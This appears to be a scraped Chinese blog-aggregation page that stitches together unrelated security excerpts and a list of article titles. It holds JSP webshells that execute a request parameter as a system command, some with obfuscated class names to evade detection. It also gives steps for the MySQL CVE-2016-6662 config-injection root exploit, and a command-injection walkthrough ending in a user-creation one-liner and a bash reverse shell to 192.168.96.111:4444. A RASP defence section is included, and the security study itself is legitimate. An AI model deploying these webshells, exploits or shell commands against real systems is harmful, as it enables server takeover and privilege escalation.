精华内容
下载资源
问答
  • 本地命令执行漏洞 攻击者一旦可以在服务器中执行任意本地系统命令就意味着服务器已被非法控制,在Java中可用于执行系统命令的方式有API有:java.lang.Runtime、java.lang.ProcessBuilder、java.lang.UNIXProcess/...

    本地命令执行漏洞

    攻击者一旦可以在服务器中执行任意本地系统命令就意味着服务器已被非法控制,在Java中可用于执行系统命令的方式有API有:java.lang.Runtimejava.lang.ProcessBuilderjava.lang.UNIXProcess/ProcessImpl

    1. Java本地命令执行测试

    示例 - 存在本地命令执行代码(java.lang.Runtime):

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.InputStream" %>
    <pre>
    <%
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
        InputStream in = process.getInputStream();
        int a = 0;
        byte[] b = new byte[1024];
    
        while ((a = in.read(b)) != -1) {
            out.println(new String(b, 0, a));
        }
    
        in.close();
    %>
    </pre>
    

    攻击者通过向 cmd 参数传入恶意的代码即可在服务器上执行任意系统命令,请求:http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls,如下图:

    由于传入的cmd参数仅仅是一个两位的英文字母,传统的WAF基本都不具备对该类型的攻击检测,所以如果没有RASP的本地命令执行防御会导致攻击者可以在服务器中执行恶意的命令从而控制服务器。

    2. 深层调用命令执行测试

    示例 - 存在本地命令执行代码(java.lang.UNIXProcess):

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.*" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="java.lang.reflect.Method" %>
    <pre>
    <%
        String[] cmd = request.getParameterValues("cmd");
    
        if (cmd != null) {
            Class clazz = Class.forName(new String(new byte[]{
                    106, 97, 118, 97, 46, 108, 97, 110, 103, 46,
                    85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115
            }));
    
            Constructor constructor = clazz.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            byte[][] args = new byte[cmd.length - 1][];
            int      size = args.length; // For added NUL bytes
    
            for (int i = 0; i < args.length; i++) {
                args[i] = cmd[i + 1].getBytes();
                size += args[i].length;
            }
    
            byte[] argBlock = new byte[size];
            int    i        = 0;
    
            for (byte[] arg : args) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
            }
    
            byte[] bytes  = cmd[0].getBytes();
            byte[] result = new byte[bytes.length + 1];
            System.arraycopy(bytes, 0, result, 0, bytes.length);
            result[result.length - 1] = (byte) 0;
    
            Object object = constructor.newInstance(
                    result, argBlock, args.length,
                    null, 1, null, new int[]{-1, -1, -1}, false
            );
    
            Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
            inMethod.setAccessible(true);
    
            InputStream in = (InputStream) inMethod.invoke(object);
            int a = 0;
            byte[] b = new byte[1024];
    
            while ((a = in.read(b)) != -1) {
                out.println(new String(b, 0, a));
            }
    
            in.close();
        }
    %>
    </pre>
    

    示例 - 存在本地命令执行代码(java.lang.ProcessImpl):

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="java.lang.reflect.Method" %>
    <%@ page import="java.util.Scanner" %>
    
    <%
        String str = request.getParameter("cmd");
    
        if (str != null) {
            Class clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}));
    
            Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            Object object   = constructor.newInstance(str.split("\\s+"), null, "./", new long[]{-1L, -1L, -1L}, false);
            Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
            inMethod.setAccessible(true);
            InputStream in = (InputStream) inMethod.invoke(object);
            Scanner     s  = new Scanner(in).useDelimiter("\\A");
    
            out.println("<pre>");
            out.println(s.hasNext() ? s.next() : "");
            out.println("</pre>");
            out.flush();
            out.close();
        }
    %>
    

    这部分对于 linux 和 windows 系统的攻击代码有所差异,但原理上一致。

    Linux系统,请求:http://localhost:8000/modules/cmd/linux-cmd.jsp?cmd=ls,如下图:

    Windows系统,请求:http://localhost:8000/windows-cmd.jsp?cmd=cmd%20/c%20dir%20,如下图:

     

    3. 本地命令执行防御

    本地命令执行是一种非常高风险的漏洞,在任何时候都应当非常谨慎的使用,在业务中如果使用到了本地系统命令那么应当禁止接收用户传入参数。在很多时候攻击者会利用某些漏洞(如:Struts2、反序列化等)来攻击我们的业务系统,最终利用Java本地命令执行达到控制Web服务器的目的。这种情况下用户执行的系统命令对我们来说就不再受控制了,我们除了可以配置SecurityManager规则限制命令执行以外,使用RASP来防御本地命令执行就显得更加的便捷可靠。

    3.1 RASP防御Java本地命令执行

    在Java底层执行系统命令的API是java.lang.UNIXProcess/ProcessImpl#forkAndExec方法,forkAndExec是一个native方法,如果想要Hook该方法需要使用Agent机制中的Can-Set-Native-Method-Prefix,为forkAndExec设置一个别名,如:__RASP__forkAndExec,然后重写__RASP__forkAndExec方法逻辑,即可实现对原forkAndExec方法Hook。

    示例 - Java本地命令执行API:

    使用RASP的Hook机制捕获当前正在执行的系统命令,不过不同的API获取执行的命令参数的方式不太一样。

    示例 - Hook java.lang.ProcessImpl执行系统命令:

    /**
     * Hook Windows系统ProcessImpl类构造方法
     */
    @RASPMethodHook(
          className = "java.lang.ProcessImpl", methodName = CONSTRUCTOR_INIT,
          methodArgsDesc = ".*", methodDescRegexp = true
    )
    public static class ProcessImplHook extends RASPMethodAdvice {
    
       @Override
       public RASPHookResult<?> onMethodEnter() {
          try {
             String[] commands = null;
    
             // JDK9+的API参数不一样!
             if (getArg(0) instanceof String[]) {
                commands = getArg(0);
             } else if (getArg(0) instanceof byte[]) {
                commands = new String[]{new String((byte[]) getArg(0))};
             }
    
             // 检测执行的命令合法性
             return LocalCommandHookHandler.processCommand(commands, getThisObject(), this);
          } catch (Exception e) {
             RASPLogger.log(AGENT_NAME + "处理ProcessImpl异常:" + e, e);
          }
    
          return new RASPHookResult<?>(RETURN);
       }
    
    }
    

    3.1.1 请求参数关联分析

    获取到本地命令执行的参数后需要与Http请求的参数进行关联分析,检测当前执行的系统命令是否与请求参数相关,如果确认当前执行的系统命令来源于Http请求参数,那么RASP会立即阻止命令执行并阻断Http请求。

    3.1.2 限制执行本地系统命令

    因为本地命令执行的危害性极大,所以在默认情况下可以直接禁止本地命令执行,如果业务的确有必要开启那么可以对相应的业务URL做白名单。限制的方式可分为两种类型:

    1. 完全限制本地命令执行,禁止在Java中执行任何命令;
    2. 允许程序内部的本地命令执行,只在有Http请求的时候才禁止执行命令;

    这两种类型的禁止方案为可选方案,可在RASP的云端实时配置。

    示例 - 禁止在HTTP请求时执行本地系统命令:

     

     

     

     

     

     

     

     

    展开全文
  • 4.4 版本存在安全漏洞,通过构造的 SHELLOPTS、PS4 环境变量,本地用户利用此漏洞可用 root 权限执行任意命令。 官方 CVSS V3 评级为 High,属于高危漏洞,预测当前 90% 以上的 Linux 用户都会受到影响。 ...

    近期历史悠久的 GNU Bash 爆出了一个高危漏洞,Bash < 4.4 版本存在安全漏洞,通过构造的 SHELLOPTS、PS4 环境变量,本地用户利用此漏洞可用 root 权限执行任意命令。

    官方 CVSS V3 评级为 High,属于高危漏洞,预测当前 90% 以上的 Linux 用户都会受到影响。

    http://www.openwall.com/lists/oss-security/2016/09/26/9

    小编测试了一下,100% 命中:image

    文章转载自 开源中国社区 [http://www.oschina.net]

    展开全文
  • 0x00 漏洞影响 MySQL <= 5.7.15远程代码执行/ 提权 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影响,包括: MariaDB PerconaDB 0x01 条件 (1)可以在低权(需要有FILE权限)账户下执行 (2)可以执行...
    0x00 漏洞影响
    MySQL  <= 5.7.15远程代码执行/ 提权 (0day)
    5.6.33 5.5.52
    Mysql分支的版本也受影响,包括:
    MariaDB
    PerconaDB 
     
    0x01 条件
    (1)可以在低权(需要有FILE权限)账户下执行
    (2)可以执行sql,最好是个webshell或者phpmyadmin里
    (3)Mysql 5.5版本以上
     
    0x02 漏洞原理
    ----[ /usr/bin/mysqld_safe ]----
    [...]
    # set_malloc_lib LIB
    # - If LIB is empty, do nothing and return
    # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
    #   then pkglibdir.  tcmalloc is part of the Google perftools project.
    # - If LIB is an absolute path, assume it is a malloc shared library
    #
    # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
    # running mysqld.  See ld.so for details.
    set_malloc_lib() {
      malloc_lib="$1"
      if [ "$malloc_lib" = tcmalloc ]; then
        pkglibdir=`get_mysql_config --variable=pkglibdir`
        malloc_lib=
        # This list is kept intentionally simple.  Simply set --malloc-lib
        # to a full path if another location is desired.
        for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
          for flavor in _minimal '' _and_profiler _debug; do
            tmp="$libdir/libtcmalloc$flavor.so"
            #log_notice "DEBUG: Checking for malloc lib '$tmp'"
            [ -r "$tmp" ] || continue
            malloc_lib="$tmp"
            break 2
          done
        done
    [...]
    ----------[ eof ]---------------
    mysqld_safe在mysqld启动之前会先加载--malloc-lib=LIB 指定的so库。
    这个选项可以在my.conf中使用[mysqld]或者[mysql_safe]节点进行配置。
    2003年爆出的一个漏洞,可以直接使用outfile直接覆盖my.cnf,修补方式就是不允许对my.cnf文件进行覆盖操作。
    但是可以使用mysql logging操作对配置文件进行覆写。
    步骤如下:
    (1)当my.cnf的权限配置不正确的时候,比如执行了:
    chown mysql /etc/my.cnfchmod 600 /etc/my.cnf
    ls之后是:
    -rw------- 1 mysql mysql 3533 Sep 12 12:08 my.cnf
    这个至少默认配置不是这样,不过考虑到一些安装教程这么介绍,会误导一批运维人员。
    不过,这个限制也是该洞非常局限的地方,但是,一切漏洞看场景。
     
    (2)写日志
    mysql> set global general_log_file = '/etc/my.cnf';
    mysql> set global general_log = on;
    mysql> select '
        '> 
        '> ; injected config entry
        '> 
        '> [mysqld]
        '> malloc_lib=/tmp/mysql_exploit_lib.so
        '> 
        '> [separator]
        '> 
        '> ';
    1 row in set (0.00 sec)
    mysql> set global general_log = off;
    如果不对my.cnf进行步骤(1)的配置,在执行general_log=on就会报错了。
    (3)执行完上述语句之后,再看my.cnf就会多出来:
    ; injected config entry[mysqld]malloc_lib=/tmp/mysql_exploit_lib.so[separator]
    (4)记得还要在/tmp目录下放置恶意的so文件,然后重启mysql触发漏洞。
     
    0x03 另一个姿势
    还是看mysqkd_safe文件:
    ----[ /usr/bin/mysqld_safe ]----
    [...]
    # Try where the binary installs put it
    if test -d $MY_BASEDIR_VERSION/data/mysql
    then
      DATADIR=$MY_BASEDIR_VERSION/data
      if test -z "$defaults" -a -r "$DATADIR/my.cnf"
      then
        defaults="--defaults-extra-file=$DATADIR/my.cnf"
      fi
    [...]
    ----------[ eof ]---------------
    会从mysql安装目录来寻找my.cnf文件进行加载。
    具体是:
    /var/lib/mysql/my.cnf 5.5 5.6
    /var/lib/mysql/.my.conf 5.7
    /var/lib/mysql这个目录明显可以被mysql用户进行读写操作。
    下面就是如何创建这个文件,使用outfile:
    SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
    是不行的,原因是这种方式创建的文件会有三元组都有rw权限:
    -rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
    mysql不会在启动的时候加载这种文件。
    还是老办法,使用mysql logging:
    mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
    mysql> set global general_log = on;
    mysql> select '
        '> 
        '> ; injected config entry
        '> 
        '> [mysqld]
        '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
        '> 
        '> [separator]
        '> 
        '> ';
    1 row in set (0.00 sec)
    mysql> set global general_log = off;
    这样创建出来的my.cnf符合加载条件:
    # ls -l /var/lib/mysql/my.cnf 
    -rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
    查看文件,但是文件开头没有有效的section标识,所以会报错。
    # cat /var/lib/mysql/my.cnf 
    /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
    Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
    Time                 Id Command    Argument
    160728 17:48:22    43 Query select '
    ; injected config entry
    [mysqld]
    malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    [separator]
    '
    160728 17:48:23    43 Query set global general_log = off
    报错信息如下:
    error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
    Fatal error in defaults handling. Program aborted
    但是公告里(http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)声称可以用CVE-2016-6663进行有效配置文件的实现。这个在公告中并没有透漏细节,这个要持续关注下。目前这个CVE在披露过程中。
     
    0x04 没有DBA权限
    只能执行select和file操作,可以用触发器实现写文件:
    CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
    AFTER INSERT
       ON `active_table` FOR EACH ROW
    BEGIN
       DECLARE void varchar(550);
       set global general_log_file='/var/lib/mysql/my.cnf';
       set global general_log = on;
       select "
    [mysqld]
    malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
    " INTO void;   
       set global general_log = off;
    END;
    这个不介绍了。
     
    0x05 结尾
    吐槽一下,很多人觉得这个洞没啥用,无非就是觉得限制非常多,但是一切漏洞都要看场景,脱离场景去评判漏洞,没有任何意义。而且,第二种方法已经去掉很多限制了,我就坐等公开再来补充。。。。
    总之,我觉得这个洞至少比UDF厉害些。
    妈蛋,深夜了。。。。
    不写了,有兴趣的同学可以去看原文:
    http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

     
     
    展开全文
  • 命令执行漏洞挖掘实例

    千次阅读 2019-08-22 14:10:42
    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...

    前言

    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

    一: 前期判断

    看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
    在这里插入图片描述
    输入127.0.0.1本地地址,发现能ping通
    在这里插入图片描述
    发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

    二:判断是否存在命令执行注入

    其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
    这里遇到第一个问题
    在这里插入图片描述
    添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
    -c 1 时,时间59毫秒
    在这里插入图片描述
    -c 2 ,时间为4086毫秒
    在这里插入图片描述
    从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
    尝试127.0.0.1 -c 1;sleep 1
    这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
    t = 4086
    在这里插入图片描述
    127.0.0.1 -c 1;sleep 2
    t = 8069
    在这里插入图片描述
    到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

    三:通过命令执行注入获取服务器权限

    这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
    一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
    如新建test:123456用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` test
    另外一个就是反弹shell
    bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
    但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
    在这里插入图片描述
    到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
    在这里插入图片描述
    开启监听
    在这里插入图片描述
    将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
    在这里插入图片描述
    在这里插入图片描述

    到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

    展开全文
  • 三、命令执行漏洞

    2018-04-23 11:30:32
    命令执行漏洞:直接调用操作系统命令 代码执行漏洞:靠执行脚本代码调用操作系统命令 1.PHP命令执行 (1)添加管理员 1.查看本地用户:net user 2.添加用户:net user name pwd /add 3.提权为管理员:...
  • 新出道信息安全爱好者,有很多需要学习的地方,愿有一天能追上大佬步伐。 好了,下面进入正题,上半年6月份参加了铁人三项赛,线下web题为Maccms8.x ,当时... 因为Maccms8.x 存在命令执行漏洞,所以我们先点击searc...
  • JAVA RMI 反序列化远程命令执行漏洞

    万次阅读 2017-05-11 00:42:34
    JAVA RMI 反序列化远程命令执行漏洞 漏洞资料 背景 原理 Payload构造 搭建本地测试环境 开启包含第三方库的RMI服务 测试RMI客户端 攻击测试 升级版攻击 Weblogic Commons-Collections反序列化RCE漏洞CVE-2015-4852...
  • 通达OA-命令执行一、环境安装文件:链接:https://pan.baidu.com/s/1Y78Zs-7Igi4MRE0J_Dp-dQ 提取码:2b3i二、漏洞验证任意文件上传漏洞 /ispirit/im/upload.php本地文件包含漏洞 /ispirit/interface/gateway.php这两...
  • 翻译:聂心明 所有的Spotify音乐软件,所有的舞蹈音乐软件后门 Übersicht的远程命令执行漏洞 总结 无论何时提到安全,我都希望有机会去讨论关于应用安全的建设:网络的边界是非常有用的,但是在2018...
  • 了解什么是本地文件包含漏洞 了解本地文件包含漏洞所要用到的函数 掌握本地文件包含漏洞的利用方式 了解 PHP 语言中的封装协议 掌握本地文件包含漏洞的修复方法 什么是文件包含 再通过 PHP 的相应函数 [例如 include...
  • Fastjson 反序列化导致任意命令执行漏洞Vulnhub官方复现教程漏洞原理复现漏洞启动环境生成字节码本环境目录结构解压war漏洞复现生成字节码构造POC漏洞利用本地测试 Vulnhub官方复现教程 ...漏洞原理 ...
  • 本附件是对CVE-2019-0232 Tomcat RCE 远程命令执行漏洞 的复现环境。 将文件下载到本地,直接运行tomcat 启动服务器,地址栏输入 http://localhost:8080/cgi-bin/hello.bat?c:/windows/system32/net user 即可看到...
  • 命令执行漏洞的原理:在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令 一开始没有经验ping...
  • 实战项目遇到:做一下,本地靶机测试。...因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。二、漏洞环境https://github.com/vulhub/vu
  • 查看本地git版本,cmd-&gt;git –version https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg登录网址对比版本 3、https://mirrors.edge.kernel.org/pub/software/scm/git/ 下载最新版本(Git v2.19.1, v...
  • Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199) 漏洞简述 ​ 2020年03月31 日,Sonatype 官方发布安全公告,声明修复了存在于 Nexus Repository Manager 3 中的远程代码执行漏洞 CVE-2020-10199。...
  • 在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(RemoteCommandExecution),而不是远程代码执行...
  • 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。...
  • ctf命令执行漏洞绕过方式小结

    千次阅读 2020-08-06 23:17:39
    本地:Win10 phpstudy8.1 kali2020.2 外网:单位提供的linux靶机 一、命令分隔符 %0a – 换行符, %0d – 回车符, ; – 连续指令 && – | – || – 二、空格 < <> %09 $IFS$9 ${IFS} 三、读...
  • 命令执行 / 代码注入漏洞分类介绍 代码本地文件包含示例 1 命令执行 / 代码注入漏洞分类介绍 命令或代码反序列化执行漏洞概述 ? 有些动态脚本语言如 php 支持 实例对象的序列化传输 然后服务端 将实例对象反序列化...
  •  使用Eternalblue模块,剑测是否有漏洞然后msf生成一个dll直接反弹shell. PS:win版本的不知道缘何生成出来的dll是0kb 我就在自己本地的虚拟机生成了一个dll。生成dll命令 msfvenom -p windows/x64/meterpreter...
  • 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。...
  • 搜了一下,发现网上关于apache shiro 1.2.4版本的漏洞整理报告写的过于的简单,或许是大佬们讲的比较专业,我这个小白看不懂的缘故,特地在本地做一次完整的展现。 先从shiro官方获取shiro 1.2.4的源码包,地址:...
  • 一、基本信息 ... 补丁信息:该漏洞的修复补丁已于2019年4月1日发布。...这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。 1、挖掘过程 首先,在安装齐治运维堡...
  • Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。 下载exp代码,本地编译后生成exp.so 的库文件,然后通过redis未授权可以配置主从同步功能...
  • 利用本地文件包含漏洞执行命令 二.操作步骤 解法一 1.上传木马文件 点击 非注册用户上传文件 2.检查木马 访问uoload/PHP.PHP发现浏览器报错,无法访问 考虑存在本地文件包含漏洞 访问/index.php?t=upload/PHP.PHP ...
  • DHCP命令执行_CVE-2018-1111漏洞复现 一、漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞,攻击者可以通过本地网络上的恶意DHCP服务器或者...
  • 想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录...

空空如也

空空如也

1 2 3 4 5 ... 17
收藏数 338
精华内容 135
关键字:

本地命令执行漏洞